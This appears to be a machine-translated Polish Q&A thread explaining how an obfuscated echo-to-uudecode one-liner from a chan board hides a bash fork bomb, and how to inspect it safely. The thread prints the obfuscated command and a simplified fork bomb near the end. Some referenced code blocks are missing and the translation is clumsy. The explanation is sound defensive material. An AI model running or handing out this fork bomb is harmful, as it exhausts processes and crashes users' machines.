Znaleziono na losowej tablicy chan:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
W jakiś sposób uruchomienie tego powoduje nieskończony proces odradzania, który działa gwałtownie i zatrzymuje maszynę. Widzę coś o tym, że „su” próbuje być wielokrotnie wykonywana.
... co jest dziwne, ponieważ oczekiwałbym, że tekst zostanie wydrukowany, a nie wykonanie czegokolwiek.
Uruchomienie tego tekstu przez dekoder online daje mi tylko partię binarnego wyrzucenia:
Co właściwie robi ten bałagan tekstu i czy istnieje sposób na „bezpieczne” jego obejrzenie?
Odpowiedzi:
Najpierw spójrzmy na całe polecenie:
Zawiera ciąg cudzysłowu, do którego echo
uudecode
. Zauważ jednak, że w ciągu podwójnego cudzysłowu znajduje się ciąg cudzysłowu . Ten ciąg zostanie wykonany . Ciąg jest:Jeśli spojrzymy na zawartość, zobaczymy trzy polecenia:
Wykonując rozwinięcie nawiasu środkowego polecenia, mamy:
Pierwszy wiersz próbuje uruchomić komendę nonsensowną w tle. To nie jest ważne.
Drugi wiersz jest ważny: definiuje funkcję,
r
która po uruchomieniu uruchamia dwie kopie siebie. Każda z tych kopii oczywiście uruchomiłaby jeszcze dwie kopie. I tak dalej.Trzecia linia biegnie
r
, rozpoczynając bombę widelca.Reszta kodu, poza ciągiem cytowanym z tyłu, jest po prostu bzdurą dla zaciemnienia.
Jak bezpiecznie uruchomić polecenie
Kod ten można uruchomić bezpiecznie, jeśli ustawimy limit poziomu zagnieżdżenia funkcji. Można to zrobić za pomocą
FUNCNEST
zmiennej bash . Tutaj ustawiamy to na,2
a to zatrzymuje rekurencję:Komunikaty o błędach powyżej pokazują, że (a) polecenia nonsensowne
rYWdl
iY29j
nie zostaną znalezione, (b) widelec bomba dostaje wielokrotnie przerywane przez FUNCNEST, oraz (c) wyjściaecho
nie uruchamia siębegin
, a tym samym nie jest ważny wejście douudecode
.Widelec bomba w najprostszej formie
Jak wyglądałaby bomba widelcowa, gdybyśmy usunęli zaciemnienie? Jak sugerują njzk2 i gerrit, wyglądałoby to tak:
Możemy to jeszcze bardziej uprościć:
Składa się z dwóch instrukcji: jedna określa funkcję wideł-bomby,
r
a druga przebiegar
.Cały pozostały kod, łącznie z potokiem do
uudecode
, służył jedynie zaciemnieniu i błędnemu przekierowaniu.Oryginalna forma miała jeszcze jedną warstwę błędnego ukierunkowania
PO dostarczył link do dyskusji na forum kanału, na której pojawił się ten kod. Jak tam przedstawiono, kod wyglądał następująco:
Zwróć uwagę na jeden z pierwszych komentarzy na temat tego kodu:
W formie na tablicy kanałów naiwnie można by pomyśleć, że problemem byłoby
eval
stwierdzenie działające na wyjściuuudecode
. Doprowadziłoby to do wniosku, że usunięcieeval
go rozwiązałoby problem. Jak widzieliśmy powyżej, jest to fałszywe i niebezpieczne.źródło
uudecode
nie ma to tutaj znaczenia. Przez chwilę myślałem, żeuudecode
wykonuję interpolację napisów, która byłaby zasadniczo niebezpieczna, ale bomba widelcowa zdarza się, zanim w ogóle zaczyna się kodowanie uudecode.&
tam:echo "`r()(r&r);r`"
.Aby odpowiedzieć na drugą część pytania:
Aby rozbroić ten ciąg, zastąp zewnętrzne podwójne cudzysłowy pojedynczymi cudzysłowami i unikaj pojedynczych cudzysłowów występujących w ciągu. W ten sposób powłoka nie wykona żadnego kodu, a wszystko przekazujesz bezpośrednio do
uudecode
:Inne alternatywy zostały odnotowane w komentarzach:
kasperd zasugerował :
Jacob Krall zaproponował użycie edytora tekstu, wklejenie zawartości, a następnie przekazanie tego pliku do kodu uudecode.
źródło
uudecode
w wierszu polecenia. Naciśnij enter. Skopiuj i wklej ciąg do zdekodowania.uudecode
.echo "foo`die`bar'`die`'baz"
pierwszy! Oznacza to, że jeśli zawiera jakieś'
s, zastąpienie cudzysłowów pojedynczymi cudzysłowami nie będzie wystarczające.Na pierwszy rzut oka możesz pomyśleć, że wyjście do powłoki nigdy nie zostanie wykonane . To wciąż prawda . Problem jest już na wejściu . Główną sztuczką jest to, co programiści nazywają priorytetem operatora . Oto kolejność, w jakiej powłoka próbuje przetworzyć dane wejściowe:
Błąd polega na tym, aby pomyśleć, że
echo
byłoby to pierwsze polecenie do wykonania,uudecode
drugie. Oba z nich nigdy nie zostaną osiągnięte.Wniosek: Podwójne cudzysłowy są zawsze niebezpieczne dla powłoki.
źródło